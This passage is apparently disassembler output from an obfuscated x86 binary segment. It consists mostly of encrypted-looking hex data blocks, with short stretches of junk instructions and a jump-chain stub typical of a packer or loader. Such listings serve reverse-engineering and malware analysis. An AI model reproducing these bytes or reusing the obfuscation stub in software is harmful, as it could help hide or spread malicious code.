261B0562h, 521ED7D7h, 69F86F27h, 9DEE96B4h, 0C0614735h dd 0C0277AF2h, 5278B7B9h, 111E7DE4h, 38DD43ACh, 0EBCE52AEh dd 61F0FCC8h, 1082280Ch, 0E9EA89DCh, 0E7B485B1h, 475FA1A0h dd 0A66E89E1h, 62899693h, 0D736E297h, 0F443E149h, 92F184DAh dd 3BD657B0h, 7E41017Fh, 0A989BBDFh, 9ECF9822h, 5CA474AEh dd 1CA918B6h, 0F524AA8Bh, 0DFEB1D4Fh, 0C2A9BD62h, 6BE306C6h dd 0DC7226Ah, 4C46E3D4h, 0BA297B36h, 0B5DC42DCh, 426A5BF0h dd 7C6E7A3Bh, 13FA7E84h, 68B86D9Bh, 0E92244EEh, 0F5169AACh dd 416828ACh, 6D46B474h, 0CA254C12h, 19F56D12h, 0A686A526h dd 0EDC617D1h, 0C4C4FEF6h, 0C0DDB27Bh, 81A8F38Ch, 1036D117h dd 0B84CFE90h, 0E768699Dh, 0F4C1A03Ch, 0BB6F0EB4h, 75DA0552h dd 0D9DF65F5h, 0F5DD78DDh, 0C1CE8230h, 0FA5A69C1h, 83696940h dd 6F2E364Eh, 0AC6D9BFBh, 72764B87h, 0C1BF372Bh, 39EF0EAEh dd 5BED951Fh, 9C1EAD40h, 0DBD5135Bh, 0E384907Ch, 40E530B3h dd 0A57840C6h, 79819A39h, 9E1FFEDBh, 81C73079h, 7711B83Ch dd 84CD5889h, 14F2E8D4h, 0E15CEEE8h, 3FB9F826h, 5727F66Bh dd 3051797Ch, 0CC75CFCBh, 62C48E66h, 0BB3CF54Bh, 4850F3Ch dd 968802EEh, 7E0C9478h, 0F58C3A3Dh, 0D5B7F24Ah, 0E88A1EA9h dd 5B8F2DB0h, 5569270Eh, 327240B4h, 9B8AE2C3h, 5EC4C2F7h dd 5A878E0Fh, 3305EC89h, 554F5A35h, 32255B9h, 2C1BD237h dd 63C714F0h, 0CB203CC3h, 0B8FC10CAh, 0E2E718E6h, 8F08A0B0h dd 78598FA3h, 0E59604CFh, 0EC8A2412h, 5446B3ABh, 63368BD4h dd 6B6608F3h, 0B4F18BFDh, 0AF9FD67Bh, 0AB4A6924h, 0C778D779h dd 0C663602Ah, 4EB4E2EDh, 3493543Eh, 5C28878Bh, 881B4239h dd 657E221h, 78FF5F30h, 37DC6047h, 3C5471B7h, 3BDDB8B0h dd 6EF2BFD8h, 983EE236h, 1C557F3Fh, 0EC72F612h, 21E71F57h dd 6B4F0A65h, 0EC7438C5h, 0B0450BC2h, 3B59D5F4h, 815FAA59h dd 0B38F9BD0h, 7D74CD52h, 4D084FCh, 74F81DEEh, 0F3D3B9EBh dd 7583C82Bh, 1236DD1Bh, 0A17B2BEFh, 0F01F4841h, 90052D0Eh dd 7ED70040h, 5884BA79h, 0DC55DBAh, 0D5D6152h, 6B2425A0h dd 0A467194Dh, 2770EB9Ch, 4B5ADACAh, 5DB7A74Ah, 0BB2C4E43h dd 96A1670Eh, 34EB9F4Ch, 0B77FB6EFh, 247F84DBh, 9978CA3Eh dd 0C158885h, 75A1BA09h, 8680604Eh, 3C6994h, 88FAD9BBh dd 321F0C74h, 0A0C0C12Ah, 7B25E0CCh, 0D5114935h, 1D93A973h dd 28F146A2h, 18D57643h, 3BEF4D2Ah, 0E7FA5848h, 0FCFEEFFFh dd 324ED011h, 0F353E830h, 0FAD5F7BEh, 0E45EF1CEh, 39076E54h dd 75C034E2h, 0F45E3546h, 4B1327CCh, 31A32000h, 0E9CB6A07h dd 0E1AE0705h, 558C8D77h, 79B1D591h, 446153F1h, 72ECF067h dd 0A5CBC91Fh, 3BD5266Dh, 399B3FC4h, 5B5F2356h, 2494B560h dd 0C679ECBFh, 0CAE75611h, 5014EC14h, 0A87ABE3Ch, 6C792A01h dd 91C85619h, 43B63FE4h, 0E8ABE29Bh, 0A20DCD17h, 0DC8AC048h dd 46676560h, 89D0306Dh, 0C60E8C10h, 0D93E66D7h, 0F1ADEC2Dh dd 6477B408h, 0DA414144h, 99E2CAECh, 0F3A97FF4h, 652D79C9h dd 0C2127F36h, 6F5B8CDh, 8ECAC05h, 73AA95EFh, 0B1DEAADCh dd 584084BFh, 0B4683E51h, 7C86C4F7h, 0C352DDFCh, 9E7F9BFBh dd 18398015h, 63304682h, 15944276h, 3E7D5AE9h, 19A3458Fh dd 0C940DF94h, 75BA6E6Fh, 8BB39ECFh, 1BE696C6h, 8215AD48h dd 0D671D089h, 677E979Eh, 4B5ADC94h, 0D6DF6722h, 0ECB18043h dd 92CBC6F2h, 0F93B551Fh, 51DA6FA6h, 69DFCF7Ch, 97498B79h dd 0B047B4EAh, 856F0AABh, 0EE554743h, 74FE6721h, 0E79218h dd 0F1F061A2h, 0A8404AB0h, 0F15BBD8Ah, 0E7DA214Eh, 1DA5D731h dd 33529657h, 8B90035Ah, 5998C1Bh, 0ED0A150Ah, 69E6E42Eh dd 0E98238D7h, 0C2FA7FA2h, 696E78A8h, 982A4D08h, 0B49F89B1h dd 0F169D701h, 5E98157Bh, 0D06D501Dh, 0ABAA7BA5h, 13986BD6h dd 87568445h, 7BEE0E7Fh, 0D0B47A54h, 0EE064934h, 2F4952C8h dd 9783C94h, 4228A1Bh, 6D14B4E1h, 0BF8132E7h, 0CB7C5108h dd 71EF6ED2h, 0C95361CFh, 0CFF8BABBh, 34E10C55h, 0CABF7F67h dd 0E261673Fh, 6C429149h, 7F69BC12h, 0DE8B9A70h, 6753500Dh dd 0B7729510h, 0A49B74D6h, 0F7A0E8C3h, 7BCECD86h, 8F4EBA60h dd 18BE9FD1h, 0FA716B4Ch, 0C1B9FD64h, 4B52516Ah, 63006CB0h dd 2B299C98h, 66CDB07h, 0D2DF68B1h, 0DC220D7Ch, 4E06FA1h dd 0B3CBFB02h, 67DAE907h, 3FDE228Fh, 0C1D76788h, 0F6EF6B10h dd 20ABDAE6h, 7E6865DDh, 5DF8BC7Bh, 0CFF1AA3Eh, 3812B369h dd 0E4F849F4h, 0AD8B503Eh, 0FBE04A1Fh, 0D13665B4h, 0D8FCA6A7h dd 8DF9CF35h, 0ABAD078Dh, 97E0BEE1h, 0B3F78503h, 8B87ABCBh dd 0ABEEE0D3h, 8CBC1DE5h, 0A38F5D93h, 8DBABA76h, 33350991h dd 0BE65DC41h, 6FC3BB77h, 0E9032A6Eh, 0F09B69BCh, 5F8785AAh dd 0A0614882h, 0C0A6EE38h, 1DBB0D23h, 0AD110588h, 732A987h dd 32DCDD32h, 74ACF501h, 738D0B00h, 0DF2E281Eh, 750743DDh dd 0EE4158D1h, 0B67BDE1Bh, 89E1C2CAh, 8A3C0F06h, 3C897B97h dd 833A9BA1h, 4080CDA3h, 76E25143h, 4568C49Eh, 0DB0C3E20h dd 7CE0BC9Ch, 2C5A3CFBh, 0E881EB63h, 75495FCh, 0E9F58F64h dd 0B3547F69h, 1F255C58h, 893DA8C0h, 0A1591643h, 58576D6Ch dd 22A5F6A0h, 279228A3h, 6FB565EFh, 1AD9CF30h, 97262C4Ch dd 0E9250F65h, 7278039Fh, 79B0277Ah, 2A036220h, 0BA8309AFh dd 41240165h, 0C3D878B8h dd 434575ADh, 1DFE56B3h, 0E81BEDAFh, 0F2BEA8D0h, 0FF8B2440h dd 6DBEBA8Fh, 44768F95h, 0A7D92915h, 0B6240E80h, 9E009220h dd 9C082E6Bh, 139E8C8h, 74002187h, 5DBDA65Dh, 0CF103B82h dd 0A116C002h, 84C57528h, 0B6D9BE9Bh, 90CF4048h, 11418171h dd 0C3663AD1h, 5CAC9465h, 0F2C9DF2Dh, 17D8AC58h, 9AD63C3Bh dd 0C9B951A5h, 3A3C5130h, 79EDFBACh, 0FD45991Ah, 8768A8CFh dd 1FC5E159h, 578AF9E9h, 244EBC8Fh, 8465C8FEh, 6670714Eh dd 4BEE4A05h, 0E60954h, 0A53B4324h, 0F069FE30h, 3B2854E3h dd 0C7566DF0h, 7625044Ah, 0D3E43F3Dh, 0F9AD1C67h, 7A463B3Fh dd 33B4111Ch, 5AE03A8h, 0F253699Ch, 25F26F9Ch, 0E1B62F3h dd 30907060h, 20994965h, 0F5829768h, 0C6CC7EA0h, 0E04B4E71h dd 139B20F3h, 0B23CC990h, 824EB7Ch, 8B4EC5F9h, 0BBA26DA4h dd 0C94247FDh, 3FE87B3Ah, 39350483h, 9F554F29h, 0EA168F9Ch dd 96B6967Ah, 64C42352h, 9C53A210h, 9AAFF018h, 0EF026739h dd 5463334Ch, 7C5E2886h, 547CC196h, 0D91B8407h, 9CB1E5BBh dd 0B49F537Ah, 0E70B2ED5h, 10F0782Fh, 90BBC40h, 550B15CBh dd 49F2C59Bh, 9CF73EA5h, 1C8C0CB5h, 0CA0BE70Ch, 0E4235E34h dd 1F265F67h, 15176059h, 0E3234BFCh, 674551DDh, 5EA8F2CAh dd 0DA79B8EFh, 856E2B8Bh, 0DA777273h, 956EF534h, 78DD92DAh dd 0A53D46D3h, 6145E6E0h, 3E923402h, 35A60F48h, 0DAF0C6FBh dd 8AEC6805h, 1CDBEB11h, 0A147A00Fh, 350F77F5h, 0C14830B3h dd 32591594h, 0D516B715h, 0A8238690h, 99255DD0h, 807E2D95h dd 0F1261B8Ch, 0C2E91274h, 0E244A8ADh, 978D0F4Bh, 0A439AC5Eh dd 98CB15B7h, 7942104Fh, 9F8026D4h, 8CE6EEF2h, 120726E4h dd 0FA9FB2EEh, 0D3F73DD3h, 98580985h, 0A2839787h, 85A68BDBh dd 36DC6B4Dh, 0E8A74ADCh, 4C564C45h, 5B47BEFAh, 0D4413058h dd 94F63C5h, 0A31EC5AAh, 0DAAEA8ABh, 10535759h, 0A0F3CA1Dh dd 0A284E2Dh, 0F2D2D655h, 6B8B1174h, 251ADA3Ch, 266DC80Eh dd 0F9A3C723h, 1B05FA4Eh, 0BA538CFAh, 0DD40FB71h, 4435948Ah dd 40CD0A41h, 9B0F5B5Bh, 0B9FB0443h, 0C46ED345h, 0E678159Ch dd 0BCFD9F05h, 4F120C29h, 9C1CDAC5h, 9C993F9Dh, 0B9A83BD1h dd 0FCBC7617h, 0FE440233h, 166E16EFh, 0C25FAA31h, 5D16ED8Fh dd 3D9ED142h, 1D380881h, 0D9C12ED8h, 0AB46B30h, 0EB4A9A56h dd 2DFDF684h, 3A64E482h, 0CD9E39DDh, 4F300CB4h, 5D47C38Ch dd 0A78643FCh, 0E8FDAA9Ah, 93E5FFE0h, 88BCCF9Ah, 805DF083h dd 9FBB0F9h, 2BE91D7Dh, 0CEA9A986h, 0D9799DD2h, 8E0A38E4h dd 2CBC69F3h, 71E023Eh, 25DC75B7h, 34917CEFh, 0E60D9A9Dh dd 92B292A3h, 0AA5038ABh, 1FE3EC13h, 4E1EE9AAh, 202248DDh dd 0ABC52EC8h, 2ACF07D0h, 0C577579Bh, 8F21B80Ch, 2A87F6ADh dd 168A190Eh, 43BD5BC0h, 44A41A76h, 0E97762D8h, 89406F23h dd 6E1490EBh, 445841FDh, 689BA2E7h, 0C371B433h, 72008077h dd 742B145Ah, 0C08A2D8Ah, 93B74581h, 445D25D4h, 46A442C2h dd 9D631DF2h, 36ECCB0Eh, 5814AFF5h, 0EF8515FDh, 56845263h dd 1B1184CDh, 0F1C5285Dh, 0F2244889h, 0B5025976h, 45E5660Ah dd 111AA808h, 35C6830h, 550921C1h, 6DC990ABh, 9BFA8DBh dd 1F532C4Ch, 0EC4B42F2h, 0F05CE796h, 3C2705h, 0FC8F7ED2h dd 0C715BD9Fh, 0F0EA092h, 71B9D9C4h, 3CB9CD51h, 6FBBBC82h dd 9BD2D644h, 0F066E7Fh, 8E066C45h, 0DDBE973Fh, 0DAD61DE2h dd 0E822839Fh, 0B1755E33h, 8058933h, 49F9313Ah, 8EF88BF6h dd 546F3954h, 0DB2B609Ch, 519E9AF4h, 7C89C29Dh, 0F51744B6h dd 73BB6CCAh, 0D041A83h, 46D09B8Eh, 0A8F77EC9h, 0A517AD81h dd 0DC189602h, 33157C09h, 7A816C88h, 0CC5E6149h, 69AD166Fh dd 0C337A2AFh, 8752E7CBh, 5C5E9A06h, 5A5AA9D8h, 9505E7F0h dd 0ACAD0904h, 5F398D96h, 0A1FDC098h, 0FD081C8Ch, 89F00EAFh dd 3A950DEEh, 8610E4DBh, 1EFAAE65h, 235F8948h, 3A03D03Fh dd 0FC083375h, 0B8FCD5C2h, 3C522602h, 0E0038857h, 0D244D0F2h dd 0E5B8B6DEh, 9B5502FAh, 0A65B13D9h, 1E82BA90h, 68D29728h dd 3A6DB5F5h, 833B838Bh, 99D90E15h, 388535FDh, 0E6DA6B18h dd 58D979DBh, 66E31541h, 935DE01Ch, 90BEB1D0h, 0A3FABD63h dd 3E2735Fh, 0AD14CF4Dh, 60EA75E3h, 0EEB2534Bh, 0B8B14D61h dd 2BD716DBh, 0F8FAF1FFh, 0CBF6501h, 9767230h, 90DBF4B7h dd 60F263F4h, 0F60D3D79h, 23922180h, 2A4E5950h, 44B96B1Bh dd 0B3088367h, 0D68BB60Eh, 87997C7Ch, 77063AF8h, 7EFA4460h dd 6313E057h, 15E11A6Bh, 78713AA8h, 0CCB8C5BAh, 73310061h dd 210171A2h, 9EBB68B7h, 0BB389BC5h, 0FE4E6E1Eh, 0E132CD96h dd 5CB5F68Dh, 0E11DF39Ch, 0BE837012h, 82D258B9h, 0D0232602h dd 18FC85B0h, 0FC547044h, 655185C5h, 3F4ABEC5h, 0A94780EEh dd 0F7151ACDh, 0A68426FEh, 0A0D282CFh, 0F6D6D9ADh, 0BCBE7991h dd 0D6BBCF04h, 0EB86E8Ah, 0D138EA5Ch, 57704571h, 881D0CEBh dd 0ECBD027Eh, 9C0A488h, 6AC10DE6h, 0E8BCC67Dh, 2E5820DBh dd 4B90865Bh, 0FFE7E076h, 4D061C5h, 0CEC65010h, 55D92A4Fh dd 22010353h, 0C7FD3724h, 63F32336h, 56D244B9h, 0EB8809A0h dd 8579E924h, 211F1791h, 988FC19Dh, 16AF5C5Bh, 9EE3FF8Ch dd 0EB9B859Eh, 0D8EE153Ch, 0F4F190C6h, 88E2C810h, 8D104C4Ch dd 0F36B49B5h, 4D6E9479h, 36192125h, 1C378F3Ch, 0E5432765h dd 58EB52D8h, 554B2B32h, 459F2C5Bh, 0E2F32D71h, 0D485D8E5h dd 75587374h, 0B9AEC164h, 3301BBC9h, 76B95Bh, 0E09CF80Bh dd 0C0AF1BDFh, 0A2BD244Ch, 0BEC42240h, 9329376Eh, 9F2B992Dh dd 0C83267ACh, 0CC69961Ch, 0BC5F3A70h, 0CF556E38h, 95974CCh dd 0AE33640Bh, 0DA7E9D63h, 0F0E5D9DFh, 0D6A7CC95h, 9850F374h dd 0CBF84D34h, 0B91317A0h, 323FE454h, 0D5D1DB11h, 949012E2h dd 0ACFF270Ch, 0A555096Eh, 34E5AF6Bh, 15F83D57h, 8AD7882Bh dd 0EFB90CFEh, 0CDAE711Fh, 40626CA9h, 2055B4DCh, 916FA968h dd 0E65C694h, 99416DEEh, 0EB02972Dh, 61D49AF5h, 7B4E6CCAh dd 16BB7C6Ah, 0FBCED506h, 0BDE3CDB3h, 769AE37Eh, 71538E98h dd 3A33A830h, 7C8B646Ah, 58DA4A07h, 0FC31E5B3h, 64F895E8h dd 0ED3B0862h, 1E8DF4A3h, 3F09AFBFh, 88AF3680h, 7981EA64h dd 2E271B5Bh, 5F7D86F8h, 1FD9E093h, 0B9AC50FCh, 0F4A162D8h dd 133219BCh, 996B43DBh, 0FDAD7FF9h, 15A70633h, 0E6710ED8h dd 890A2B4Fh, 1A997CA4h, 987D766Dh, 0BD2429C1h, 0F439DBA9h dd 428EB2F4h, 0F944EAC8h, 9BF102CCh, 1926B303h, 0E8B03927h dd 0EC4D332Fh, 864F0A71h, 0DDC489BCh, 74E25E0Bh, 0AD9BB86Fh dd 0F9E531A4h, 0FCBD0FF2h, 2C2B01AAh, 30AD45C6h, 0F37E354Bh dd 0DB8BAED6h, 76B105F0h, 0D23D6EA4h, 0D25E3178h, 73502903h dd 3F797459h, 4BD11884h, 0EAE3C7BDh, 0FDA3A8B9h, 0B3349E40h dd 0F8748790h, 77E8497Eh, 0F4B09F51h, 0AB2AF44Fh, 20ABC66Ah dd 84B36514h, 201234F9h, 7B94BE67h, 0F799BB90h, 0F229B341h dd 65A7797Fh, 3B2A7933h, 0F27BE777h, 0A2390FD0h, 26E0A653h dd 0F3A8AAEh, 9FB91222h, 0A018DC46h, 42A76BAAh, 80549FF4h dd 0E563C219h, 0B4C4EA37h, 36BDBCB3h, 1E1C57CCh, 36B80296h dd 73353AE6h, 37756EE6h, 59557A13h, 0F429777Fh, 1FA9D88Ch dd 40A4EAB7h, 0E6586A9Fh, 0BFA2F3DCh, 0D5EF4D5Ah, 971811A7h dd 65A4BCB1h, 556AFF4Bh dd 0E3A48770h, 4A2B406Dh, 6B8289C1h, 0CB74DB5h, 9F71FE37h dd 0F552005Dh, 5DFDDE3Ah, 6FC2FA77h, 47B9807Eh, 0C8E0A44Dh dd 0AD850A0Ch, 0DE960372h, 9E0DCDA7h, 0DE6AFDDDh, 0DB44DBFBh dd 0C48FB0FBh, 51D5DBEFh, 6FE1BBC5h, 7CD67555h, 4E6F25EBh dd 56395263h, 37521A1Eh, 477F7A5Eh, 0AA73E91Ch, 0BA2FF20h dd 22A2DA74h, 1DF8E28Ah, 0DEF28982h, 0E28A6D4Ah, 1E78332Dh dd 0F138D5B3h, 3D0AB233h, 3A3C551Dh, 0A5D66EDFh, 47D45C4Ch dd 0FD52CCF2h, 1B992C7Ch, 7FAB985Fh, 1CCC6B5Dh, 4CBA29EAh dd 6299D6E5h, 3F812B56h, 0BA2A490Bh, 83B8A48Fh, 0E91BF47Fh dd 0D1DC9A7Ah, 0C1315298h, 8EFE9F2Dh, 0F318F387h, 56914400h dd 0E5F614D6h, 0D3FFB4A6h, 0A8918249h, 466317A1h, 0EC1BE1D0h dd 5F6553F0h, 5502758Ch, 127C4820h, 9F536B45h, 241EBE41h dd 0CA166F0Ah, 0CA7CC021h, 32FF2DF2h, 9D859D03h, 5CC26186h dd 6AF96D47h, 1B396782h, 0AB5B3C80h, 36F81860h, 0FEB9054Eh dd 0DDCA4CEBh, 1D68C83Fh, 923E84DBh, 50C60E9Eh, 86E17B72h dd 0DAEB18C7h, 0AE60CA04h, 0A0D5D4Eh, 6F0ACF35h, 17B36D81h dd 2B3C3611h, 8E7BAD84h, 1D61321Ah, 0EB84F61Dh, 0F555C1EBh dd 8F7834B6h, 0B1776390h, 947E4D3Fh, 0BF594313h, 4A2B0CE9h dd 0C1F488D9h, 71A66959h, 9C36F4Ah, 7C070534h, 33C0CFB1h dd 0FBEF1E3Bh, 156862D5h, 0BBA20D6Fh, 7ACCDBC5h, 1E57695Fh dd 37952338h, 34AD1293h, 6D33D09Ch, 393747F1h, 1091BAE3h dd 20E061B7h, 460867A1h, 186FBFA0h, 710C17CAh, 1D052E71h dd 66C76AB9h, 0B6F787D4h, 36724F04h, 0A60A2E11h, 9D4178A9h dd 83888EE1h, 0CAA1E19Bh, 3E2964E5h, 0F69ADAA2h, 0E11B6026h dd 954B6681h, 7AE5BDA7h, 57E2D36Bh, 0A713F402h, 610CAAEEh dd 0FB38C6DEh, 0A0602264h, 473AAC2Ch, 8F6B65DDh, 8449AAA4h dd 0FA6C6C9Ch, 2F4ECD67h, 4E82CB25h, 0C3ACB7E5h, 6CE77F93h dd 483067A6h, 8357FA55h, 0A23F49C3h, 9DCDDC40h, 0BB9301BCh dd 24A9380Eh, 8CBC2284h, 3793629Bh, 0A9D52846h, 1CA1E77Bh dd 0E716D4A5h, 0B468B863h, 34CF2CEBh, 7D5C1767h, 0C7A98459h dd 5B2C32F2h, 17DBE769h, 0A070ADB0h, 41A41E12h, 9001FF55h dd 5C59FB7Bh, 50DAE80Fh, 0E344FB70h, 555B2D27h, 141427BDh dd 0FC4251F6h, 0BAD38730h, 0A6F7E5EAh, 6CE52B4h, 0CF62260Eh dd 1F32A109h, 7C3F4EF9h, 0A21F080Eh, 0CD986B09h, 56BC704Bh dd 254F5CB5h, 32F4742Ah, 7C03EA82h, 51984414h, 30CC9A9h dd 7222BCB2h, 4A231FE4h, 6A1C30DAh, 0FE9DE029h, 9A3997BAh dd 0EC4E3ED5h, 0E2B8EA7h, 447EA127h, 591BABA2h, 2C1ABC0h dd 9F2470F2h, 8BE1BC17h, 8EA501AEh, 0DE1791E7h, 7697DFB1h dd 0D2502DA8h, 8EFCE191h, 74284C00h, 0EB3FDCDAh, 0F4595600h dd 0ABFF4472h, 0E9C1D8DEh, 0CC971BCDh, 0DD97B022h, 0DA024DD4h dd 859FB650h, 68ADC173h, 74B67672h, 3AD09651h, 0F0D47095h dd 0D4DDB34Ah, 4A736A4Eh, 0EF154FC5h, 0EC716F83h, 1FE34D58h dd 11BC0775h, 49A52EEBh, 595D70C2h, 1CD8929Fh, 47A1EA9Ah dd 262FAEE7h, 0E126DED8h, 409D5E37h, 5FB1FE3Fh, 0AFB4CB7Dh dd 0D1F264A2h, 873328D5h, 0BF3F91B3h, 0DCA439F2h, 0F56E8769h dd 0F01B1DDFh, 0F822C2DDh, 0E5E3FAC3h, 0DF62E69Eh, 0B67E7Fh dd 9BDCC9CCh, 608CE5Dh, 53B8517Bh, 0A41D0A45h, 1A79331Ch dd 9A871E92h, 0DB5BD0FCh, 8D144F94h, 73C1FE8Bh, 0A8AD1E61h ; --------------------------------------------------------------------------- scasd or edi, [eax] loc_467A0F: ; CODE XREF: DMN1:00468827j pop esi imul byte ptr [esi+13B82AF1h] mov ecx, 43641D8Ah xor [eax-65775BF9h], edx and eax, 2BC73838h fstp tbyte ptr [edi] sbb al, 0A3h in eax, dx xchg bh, cl or al, 2Ah lds edi, [ebp+60h] mov al, 28h outsb out 0DAh, eax in al, 51h dec esp inc edx add ch, [edi] cmp eax, 3D5B755Dh push ss call far ptr 2C82h:596ABD5Fh pop es pop es cmp [ebp+64h], eax cmp ch, [ecx+7Eh] into jmp far ptr 1613h:5B79E71Bh ; --------------------------------------------------------------------------- dw 6360h ; --------------------------------------------------------------------------- stosd inc ecx js short loc_467AAD imul ebx, [eax-7Dh], 77451524h or eax, 95F5821Dh les edx, [esi] stosb xor [edx+63A5349Ah], dl sub edx, ebp stosd or bh, al retf 0FFBh ; --------------------------------------------------------------------------- db 88h, 13h, 3Eh dd 0A737BE03h, 799D46D1h, 0E22EB286h, 0AD800F73h, 0F822012Eh dd 7A023944h, 0B7198ECFh, 24CFF357h, 0BA64F8F6h, 0E2123448h dd 9FF3591Eh db 0C2h ; --------------------------------------------------------------------------- loc_467AAD: ; CODE XREF: DMN1:00467A5Ej xchg dh, [ebp+4Eh] mov ds:85F666CCh, al and al, 30h inc edi mov edx, 200EF2B2h cmp al, 3Ah in al, dx and byte ptr [edi-46h], 1Ah mov es, word ptr [ecx] rcr dword ptr [eax], 82h inc esp int 3 ; Trap to Debugger and bl, [eax+2FACACEDh] lahf adc al, 4Dh loope loc_467AEA mov ecx, 4DD7FE8Fh popa pop es retf ; --------------------------------------------------------------------------- sub eax, 0A8C15611h retf ; --------------------------------------------------------------------------- dd 8746EE9h db 16h, 0E8h ; --------------------------------------------------------------------------- loc_467AEA: ; CODE XREF: DMN1:00467AD4j fisubr dword ptr [eax+esi*8+49CCC2E7h] sahf inc ebx aam 0B9h add eax, 59FF3436h xchg eax, ecx pusha js short loc_467B0A push ebx retn ; --------------------------------------------------------------------------- dd 3D822ABAh, 5799E22Eh db 65h, 0C2h ; --------------------------------------------------------------------------- loc_467B0A: ; CODE XREF: DMN1:00467AFCj call near ptr 3E5F9CB8h mov cl, 53h pop esi mov [esi+esi], ebp ; --------------------------------------------------------------------------- db 8Fh, 4Ch, 0E0h dd 0C83C3B3Ch, 50B45D0h, 1EAA7D83h, 1FA6B340h, 386ED2Dh dd 0B69AE920h, 6D927509h, 392391Ch, 63BC4C8Ah, 238A4738h dd 4B49D977h, 0ADF52343h, 6ED51072h, 523449B1h, 45BD096Dh dd 74FB3D8Ah, 5A3BD016h, 8D6845A3h, 3740DB2Dh, 819849E1h dd 0C1FC52A9h, 97F2E73h, 0E524839Eh, 0FA99AADCh, 5C64FB1Ch dd 0BCBFA898h, 187431CCh, 0F83C168Eh, 0FA912439h, 586BA8DBh dd 9F29DA82h, 82C5570Fh, 49B8AB0Ch, 8476607Ah, 7049E4A6h dd 929B958Bh, 9E2E927h, 25F19B11h, 4EC7A157h, 0B2C738ACh dd 7BC4A303h, 3553DC11h, 16487817h, 21A6B387h, 898B4AE0h dd 53891C5Ah, 3019C1A0h, 47075040h, 3EA0E5DBh, 0B8909B2Eh dd 0B3D92225h, 2D6386FFh, 6C2ABC81h, 635E34FEh, 7218469Ch dd 0C08D28ABh, 437534D2h, 7D081C08h, 1FC4B128h, 88BCD848h dd 0A6B12657h, 5DE7641h, 92D885B6h, 14AF719Bh, 4F744464h dd 0B4B971F3h, 72CF6125h, 0DB214D73h, 2A515717h, 0E24CD8Ah dd 102B24h, 0D968DC3Bh, 26F53811h, 5E079739h, 9E45912Eh dd 0DC81C9B7h, 60916F96h, 0B0EEA060h, 513F9646h, 2C1F7D6Ah dd 704EBCAAh, 3943F9EBh, 0A39574Fh, 9F518E84h, 73E6104Dh dd 508E6C08h, 132F60A5h, 0C45477E5h, 9FE5853Ah, 86012FB5h dd 411A62ECh, 89FF1931h, 0E509811h, 432FF7D8h, 0EB3B100Fh dd 35AAFC9h, 0A45EAF21h, 0B2E6315Ch, 0A5E85A1Ah, 226B61F6h dd 0E2F56049h, 3D00A1BEh, 3D7B1CB9h, 46DA1AD0h, 0C246C2BBh dd 374065F7h, 0CCEE357Eh, 25445C10h, 0C9E57F54h, 0EBDE5363h dd 0F0202335h, 0D81020E1h, 0AEF88A30h, 0E960CF8h, 8AC6FF46h dd 8E7A5C2Dh, 0BF214820h, 38EC7B36h, 0A26122ECh, 17825366h dd 31974B80h, 0F8C88053h, 18B9E611h, 0E1B1B770h, 0ECC43E54h dd 0F5325B42h, 55C69DB5h, 0A51E85CFh, 0A6CE143Bh, 0D4E9746Bh dd 13CD648Bh, 121846FEh, 2301C69Eh, 8CD05589h, 0BAF7398Dh dd 80E2FDEFh, 12E03088h, 156C942Dh, 60095CECh, 0CC2297DCh dd 3B6A1A59h, 58695201h, 0F9597640h, 63DA459Dh, 241169E5h dd 280F05DEh, 9FE4ED8Eh, 0AD337853h, 0A33CF763h, 0C8672AA6h dd 97ECCAD8h, 0F6129B51h, 2DFD4526h, 0C4E49326h, 3C051239h dd 36B62B2Bh, 53172EFBh, 16CCED96h, 6A4C2B64h, 35CC572Bh dd 0BE74A7B7h, 0B82A4F28h, 8487EB62h, 0D3AF849Fh, 5C19B243h dd 0F3F01DE9h, 0F112007Fh, 0D1BA1EFCh, 0F13BE147h, 625248Bh dd 80409AA9h, 0F4C7842Ah, 4810ECDDh, 6B545F14h, 0CDFAB02Fh dd 46CDFD01h, 48C8B128h, 0E3B65169h, 78061B9h, 741BED54h dd 465D4A9Bh, 25434702h, 0F39BB10Ah, 48CFFE94h, 2208A6E5h dd 27DD218Bh, 0A5A98F1Fh, 0C38E8E37h, 4B51E6E0h, 7C4ABCC0h dd 0ECB94A43h, 519E64F9h, 82AE7685h, 0A65B8361h, 0C3D92CC4h dd 7CE9A5D8h, 0D2FD1FB3h, 8779CA8Ah, 0E7736456h, 0A0F27307h dd 24BE18CCh, 22E374Eh, 1AACF352h, 5AB4A660h, 90FFDA22h dd 624C4A2Ch, 5D887307h, 0CF4598A3h, 6CA010A1h, 5AE72258h dd 0F694F2E6h, 0C11D4587h, 67E49714h, 48E749E1h, 7BDD0318h dd 0A11CCD6Bh, 0B13AD81Ah, 0D18963C6h, 5172E57Dh, 3BD2E94Ah dd 67907C2Ch, 0E47EB11Ah, 0EC8A3E2Fh, 3402ED37h, 0C9BF57E8h dd 0A9161552h, 5020C1E4h, 954D8941h, 0A732C4E8h, 3B3A195Ah dd 52088548h, 4E825BE3h, 0D14EDA33h ; --------------------------------------------------------------------------- loc_467EBC: ; CODE XREF: DMN1:00467ED4j inc esi push 24h push ebp mov ebp, esp mov eax, [esp+8] mov ebp, eax pusha mov eax, 46806E18h push eax jmp short loc_467ED6 ; --------------------------------------------------------------------------- db 8Eh, 0B7h, 0B5h ; --------------------------------------------------------------------------- js short loc_467EBC loc_467ED6: ; CODE XREF: DMN1:00467ECFj jmp short loc_467EEF ; --------------------------------------------------------------------------- adc [edx], eax and esi, esi enter 7C96h, 6Bh dec edx xchg eax, esi rol dword ptr [esi+79EED5B4h], 0CEh fstp tbyte ptr [eax+4Fh] cmpsb mov dh, 9Ah loc_467EEF: ; CODE XREF: DMN1:loc_467ED6j std or edx, 0FFFFFFFFh jmp short loc_467F10 ; --------------------------------------------------------------------------- db 89h, 54h, 5Ah dd 1D218CBFh, 9C2BF4BEh, 6E843648h, 55FFA0C2h, 5651BEh dd 458262EFh ; --------------------------------------------------------------------------- loc_467F10: ; CODE XREF: DMN1:00467EF3j dec esi jmp short loc_467F18 ; --------------------------------------------------------------------------- db 94h dd 7CDE815Bh ; --------------------------------------------------------------------------- loc_467F18: ; CODE XREF: DMN1:00467F11j jmp short loc_467F38 ; --------------------------------------------------------------------------- dw 0A500h dd 0D6209023h, 407B6158h, 0E3A30A61h, 3D8C45E0h, 0FE05220Bh dd 5D8B3F0h, 41215188h ; --------------------------------------------------------------------------- loc_467F38: ; CODE XREF: DMN1:loc_467F18j jmp short loc_467F54 ; --------------------------------------------------------------------------- dw 7355h dd 25B6FB8Bh, 35F91A7Bh, 6CFE5204h, 0FDDEB14Ah, 0F0605113h dd 0A64AA436h ; --------------------------------------------------------------------------- loc_467F54: ; CODE XREF: DMN1:loc_467F38j jmp short loc_467F6B ; --------------------------------------------------------------------------- sti retf 